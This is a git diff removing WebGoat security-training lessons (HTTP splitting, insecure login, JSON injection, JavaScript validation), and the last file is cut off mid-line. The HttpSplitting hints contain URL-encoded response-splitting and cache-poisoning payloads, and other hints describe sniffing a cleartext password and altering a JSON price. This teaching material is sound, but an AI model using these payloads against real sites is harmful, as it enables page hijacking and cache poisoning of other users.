UNIQUE2U - + "' cookie to be modified on the client side, but it was not for some reason. " - + "(This shouldn't happen)"); - } - } - - private String getJavaScript() - { - StringBuffer buffer = new StringBuffer(); - - buffer.append("\n"); - - return buffer.toString(); - } - - private String getBrowserType(WebSession s) - { - int offset = -1; - String result = "unknown"; - String browser = s.getHeader("user-agent").toLowerCase(); - - if (browser != null) - { - if (browser.indexOf("firefox") != -1) - { - browser = browser.substring(browser.indexOf("firefox")); - - offset = getOffset(browser); - - result = browser.substring(0, offset); - } - else if (browser.indexOf("msie 6") != -1) - { - result = "Internet Explorer 6"; - } - else if (browser.indexOf("msie 7") != -1) - { - result = "Internet Explorer 7"; - } - else if (browser.indexOf("msie") != -1) - { - result = "Internet Explorer"; - } - else if (browser.indexOf("opera") != -1) - { - result = "Opera"; - } - else if (browser.indexOf("safari") != -1) - { - result = "Safari"; - } - else if (browser.indexOf("netscape") != -1) - { - browser = browser.substring(browser.indexOf("netscape")); - - offset = getOffset(browser); - - result = browser.substring(0, offset); - } - else if (browser.indexOf("konqueror") != -1) - { - result = "Konqueror"; - } - else if (browser.indexOf("mozilla") != -1) - { - result = "Mozilla"; - } - } - - return result; - } - - private int getOffset(String s) - { - int result = s.length(); - - for (int i = 0; i < s.length(); i++) - { - if (s.charAt(i) < 33 || s.charAt(i) > 126) - { - result = i; - break; - } - } - - return result; - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java b/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java deleted file mode 100644 index 72b61572b..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java +++ /dev/null @@ -1,252 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.net.URLDecoder; -import java.text.DateFormat; -import java.text.SimpleDateFormat; -import java.util.*; -import javax.servlet.http.HttpServletResponse; -import org.apache.ecs.*; -import org.apache.ecs.html.*; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Sherif Koussa Software Secured - * @created September 30, 2006 - */ - -public class HttpSplitting extends SequentialLessonAdapter -{ - - private final static String LANGUAGE = "language"; - - private final static String REDIRECT = "fromRedirect"; - - private static String STAGE = "stage"; - - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Current WebSession - */ - public void handleRequest(WebSession s) - { - // Setting a special action to be able to submit to redirect.jsp - Form form = new Form(s.getRequest().getContextPath() + "/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId()) - + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType(""); - - form.addElement(createContent(s)); - - setContent(form); - } - - protected Element doHTTPSplitting(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String lang = null; - - try - { - ec.addElement(createAttackEnvironment(s)); - lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - - // Check if we are coming from the redirect page - String fromRedirect = s.getParser().getStringParameter("fromRedirect", ""); - - if (lang.length() != 0 && fromRedirect.length() != 0) - { - - - String[] arrTokens = lang.toString().toUpperCase().split("\r\n"); - - // Check if the user ended the first request and wrote the second malicious reply - if (arrTokens.length > 1) - { - HttpServletResponse res = s.getResponse(); - res.setContentType("text/html"); - - StringBuffer msg = new StringBuffer(); - - msg.append("Good Job! "); - msg.append("This lesson has detected your successful attack, "); - msg.append("time to elevate your attack to a higher level. "); - msg.append("Try again and add Last-Modified header, intercept"); - msg.append("the reply and replace it with a 304 reply."); - - s.setMessage(msg.toString()); - getLessonTracker(s).setStage(2); - - - //makeSuccess(s); - - } - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } - - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - protected Element doStage1(WebSession s) throws Exception - { - return doHTTPSplitting(s); - } - - protected Element doStage2(WebSession s) throws Exception - { - return doCachePoisining(s); - } - - protected Element createAttackEnvironment(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); - String lang = null; - - if (getLessonTracker(s).getStage() == 1) - { - ec.addElement(new H3("Stage 1: HTTP Splitting:

")); - } - else - { - ec.addElement(new H3("Stage 2: Cache Poisoning:

")); - } - ec.addElement(new StringElement("Search by country : ")); - - lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - - // add the search by field - Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); - ec.addElement(input); - - Element b = ECSFactory.makeButton("Search!"); - - ec.addElement(b); - - return ec; - } - - protected Element doCachePoisining(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); - - try - { - s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison" - + " the victim's cache. Type 'restart' in the input field if you wish to " - + " to return to the HTTP Splitting lesson.

"); - if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart")) - { - getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); - return (doHTTPSplitting(s)); - } - - ec.addElement(createAttackEnvironment(s)); - String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - String fromRedirect = s.getParser().getStringParameter(REDIRECT, ""); - - if (lang.length() != 0 && fromRedirect.length() != 0) - { - String lineSep = "\r\n"; - String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang - .indexOf(lineSep, lang.indexOf("Last-Modified:"))); - if (dateStr.length() > 0) - { - Calendar cal = Calendar.getInstance(); - - DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US); - - if (sdf.parse(dateStr.trim()).after(cal.getTime())) - { - makeSuccess(s); - } - } - } - } catch (Exception ex) - { - ec.addElement(new P().addElement(ex.getMessage())); - } - return ec; - } - - protected Category getDefaultCategory() - { - return Category.GENERAL; - } - - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Enter a language for the system to search by."); - hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux."); - hints.add("The Content-Length: 0 will tell the server that the first request is over."); - hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); - hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E
For insight into what this does, use the PHP charset encoder to decode it."); - hints.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); - hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E"); - hints.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); - hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT"); - return hints; - - } - - private final static Integer DEFAULT_RANKING = new Integer(20); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("HTTP Splitting"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java b/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java deleted file mode 100644 index 0b70447b5..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java +++ /dev/null @@ -1,496 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.sql.Connection; -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.Option; -import org.apache.ecs.html.Select; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.apache.ecs.xhtml.style; -import org.owasp.webgoat.session.DatabaseUtilities; -import org.owasp.webgoat.session.WebSession; - - -public class InsecureLogin extends SequentialLessonAdapter -{ - - private final static String USER = "clear_user"; - private final static String PASSWORD = "clear_pass"; - private final static String ANSWER = "clear_answer"; - private final static String YESNO = "yesno"; - private final static String PROTOCOL = "protocol"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - @Override - protected Element doStage1(WebSession s) throws Exception - { - String answer = s.getParser().getStringParameter(ANSWER, ""); - if (answer.equals("sniffy")) - { - s.setMessage("You completed Stage 1!"); - getLessonTracker(s).setStage(2); - } - return createMainContent(s); - } - - @Override - protected Element doStage2(WebSession s) throws Exception - { - String protocol = s.getParser().getStringParameter(PROTOCOL, ""); - String yesno = s.getParser().getStringParameter(YESNO, ""); - - if (yesno.equals("No") && protocol.equals("TLS")) - { - makeSuccess(s); - } - - return createMainContent(s); - } - - /** - * Creation of the main content - * - * @param s - * @return Element - */ - protected Element createMainContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - String user = s.getParser().getStringParameter(USER, ""); - String password = s.getParser().getStringParameter(PASSWORD, ""); - if (!(user + password).equals("") && correctLogin(user, password, s)) - { - workspaceDiv.addElement(createSuccessfulLoginContent(s, user)); - } - else - { - workspaceDiv.addElement(createLogInContent()); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Create content for logging in - * - * @param ec - */ - private Element createLogInContent() - { - ElementContainer ec = new ElementContainer(); - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER).setValue("Jack").setReadOnly(true)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD).setValue("sniffy").setReadOnly(true)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - return ec; - - } - - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - - return Category.INSECURE_COMMUNICATION; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("Stage 1: Use a sniffer to record " + "the traffic"); - hints.add("Stage 1: What Protocol does the request use?"); - hints.add("Stage 1: What kind of request is started when " + "you click on the button?"); - hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer"); - hints.add("Stage 1: The password field has the name clear_pass"); - - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(100); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Insecure Login"); - } - - @Override - public String getInstructions(WebSession s) - { - int stage = getLessonTracker(s).getStage(); - String instructions = ""; - instructions = "For this lesson you need to " + "have a server client setup. Please refer to the" - + "Tomcat Configuration in the Introduction section.

Stage" + stage + ": "; - if (stage == 1) - { - instructions += "In this stage you have to sniff the " - + "password. And answer the question after the login."; - } - if (stage == 2) - { - instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// " - + "If your browser is complaining about the certificate just " - + "ignore it. Sniff again the traffic and answer the" + " questions"; - } - return instructions; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - /** - * Create content after a successful login - * - * @param s - * @param ec - */ - private Element createSuccessfulLoginContent(WebSession s, String user) - { - ElementContainer ec = new ElementContainer(); - - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(user)); - - try - { - ResultSet results = getUser(user, s); - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - - int stage = getLessonTracker(s).getStage(); - if (stage == 1) - { - ec.addElement(createPlaintextQuestionContent()); - } - else if (stage == 2) - { - ec.addElement(createSSLQuestionContent()); - } - - return ec; - } - - private Element createPlaintextQuestionContent() - { - ElementContainer ec = new ElementContainer(); - Div div = new Div(); - div.addAttribute("align", "center"); - div.addElement(new BR()); - div.addElement(new BR()); - div.addElement("What was the password?"); - div.addElement(new Input(Input.TEXT, ANSWER)); - div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - ec.addElement(div); - return ec; - } - - private Element createSSLQuestionContent() - { - ElementContainer ec = new ElementContainer(); - Table selectTable = new Table(); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - tr1.addElement(td1); - tr1.addElement(td2); - tr2.addElement(td3); - tr2.addElement(td4); - selectTable.addElement(tr1); - selectTable.addElement(tr2); - - Div div = new Div(); - div.addAttribute("align", "center"); - ec.addElement(new BR()); - ec.addElement(new BR()); - - td1.addElement("Is the password still transmited in plaintext?"); - Select yesNoSelect = new Select(); - yesNoSelect.setName(YESNO); - Option yesOption = new Option(); - yesOption.addElement("Yes"); - Option noOption = new Option(); - noOption.addElement("No"); - yesNoSelect.addElement(yesOption); - yesNoSelect.addElement(noOption); - td2.addElement(yesNoSelect); - - td3.addElement("Which protocol is used for the transmission?"); - Select protocolSelect = new Select(); - protocolSelect.setName(PROTOCOL); - Option httpOption = new Option(); - httpOption.addElement("HTTP"); - Option tcpOption = new Option(); - tcpOption.addElement("UDP"); - Option ipsecOption = new Option(); - ipsecOption.addElement("IPSEC"); - Option msnmsOption = new Option(); - msnmsOption.addElement("MSNMS"); - Option tlsOption = new Option(); - tlsOption.addElement("TLS"); - protocolSelect.addElement(httpOption); - protocolSelect.addElement(ipsecOption); - protocolSelect.addElement(msnmsOption); - protocolSelect.addElement(tcpOption); - protocolSelect.addElement(tlsOption); - td4.addElement(protocolSelect); - - div.addElement(selectTable); - - div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - ec.addElement(div); - return ec; - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java b/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java deleted file mode 100644 index 267c2a335..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java +++ /dev/null @@ -1,298 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import org.owasp.webgoat.session.WebSession; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.Form; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Table; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.BR; -import java.io.PrintWriter; -import java.util.List; -import java.util.ArrayList; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Sherif Koussa Software Secured - * @created December 25, 2006 - */ - -public class JSONInjection extends LessonAdapter -{ - - private final static Integer DEFAULT_RANKING = new Integer(30); - - private final static String TRAVEL_FROM = "travelFrom"; - - private final static String TRAVEL_TO = "travelTo"; - - private final static IMG MAC_LOGO = new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured") - .setBorder(0).setHspace(0).setVspace(0); - - public void handleRequest(WebSession s) - { - - try - { - if (s.getParser().getRawParameter("from", "").equals("ajax")) - { - String lineSep = System.getProperty("line.separator"); - String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep - + "\"flights\": [" + lineSep - + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep - + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]" - + lineSep + "}"; - s.getResponse().setContentType("text/html"); - s.getResponse().setHeader("Cache-Control", "no-cache"); - PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); - out.print(jsonStr); - out.flush(); - out.close(); - return; - } - } catch (Exception ex) - { - ex.printStackTrace(); - } - - Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); - form.setOnSubmit("return check();"); - - form.addElement(createContent(s)); - - setContent(form); - - } - - /** - * Description of the Method - * - * @param s - * Current WebSession - */ - - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; - ec.addElement(new StringElement(script)); - Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); - - TR tr = new TR(); - - tr.addElement(new TD("From: ")); - Input in = new Input(Input.TEXT, TRAVEL_FROM, ""); - in.addAttribute("onkeyup", "getFlights();"); - in.addAttribute("id", TRAVEL_FROM); - tr.addElement(new TD(in)); - - t1.addElement(tr); - - tr = new TR(); - tr.addElement(new TD("To: ")); - in = new Input(Input.TEXT, TRAVEL_TO, ""); - in.addAttribute("onkeyup", "getFlights();"); - in.addAttribute("id", TRAVEL_TO); - tr.addElement(new TD(in)); - - t1.addElement(tr); - ec.addElement(t1); - - ec.addElement(new BR()); - ec.addElement(new BR()); - Div div = new Div(); - div.addAttribute("name", "flightsDiv"); - div.addAttribute("id", "flightsDiv"); - ec.addElement(div); - - Input b = new Input(); - b.setType(Input.SUBMIT); - b.setValue("Submit"); - b.setName("SUBMIT"); - ec.addElement(b); - - Input price2Submit = new Input(); - price2Submit.setType(Input.HIDDEN); - price2Submit.setName("price2Submit"); - price2Submit.setValue(""); - price2Submit.addAttribute("id", "price2Submit"); - ec.addElement(price2Submit); - if (s.getParser().getRawParameter("radio0", "").equals("on")) - { - String price = s.getParser().getRawParameter("price2Submit", ""); - price = price.replace("$", ""); - if (Integer.parseInt(price) < 600) - { - makeSuccess(s); - } - else - { - s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600"); - } - } - return ec; - } - - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); - } - - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } - - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("JSON stands for JavaScript Object Notation."); - hints.add("JSON is a way of representing data just like XML."); - hints.add("The JSON payload is easily interceptable."); - hints.add("Intercept the reply, change the $600 to $25."); - return hints; - - } - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("JSON Injection"); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java b/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java deleted file mode 100644 index 726971e98..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java +++ /dev/null @@ -1,270 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Pattern; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.TextArea; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Jeff Williams Aspect Security - * @created October 28, 2003 - */ - -public class JavaScriptValidation extends LessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - - ElementContainer ec = new ElementContainer(); - - // Regular expressions in Java and JavaScript compatible form - - // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax - - // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one - // for JavaScript - - String regex1 = "^[a-z]{3}$";// any three lowercase letters - String regex2 = "^[0-9]{3}$";// any three digits - String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation - String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of - // numbers - String regex5 = "^\\d{5}$";// simple zip code - String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four - String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes - Pattern pattern1 = Pattern.compile(regex1); - Pattern pattern2 = Pattern.compile(regex2); - Pattern pattern3 = Pattern.compile(regex3); - Pattern pattern4 = Pattern.compile(regex4); - Pattern pattern5 = Pattern.compile(regex5); - Pattern pattern6 = Pattern.compile(regex6); - Pattern pattern7 = Pattern.compile(regex7); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; - try - { - String param1 = s.getParser().getRawParameter("field1", "abc"); - String param2 = s.getParser().getRawParameter("field2", "123"); - String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC"); - String param4 = s.getParser().getRawParameter("field4", "seven"); - String param5 = s.getParser().getRawParameter("field5", "90210"); - String param6 = s.getParser().getRawParameter("field6", "90210-1111"); - String param7 = s.getParser().getRawParameter("field7", "301-604-4882"); - ec.addElement(new StringElement(script)); - TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); - TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); - TextArea input3 = new TextArea("field3", 1, 25).addElement(param3); - TextArea input4 = new TextArea("field4", 1, 25).addElement(param4); - TextArea input5 = new TextArea("field5", 1, 25).addElement(param5); - TextArea input6 = new TextArea("field6", 1, 25).addElement(param6); - TextArea input7 = new 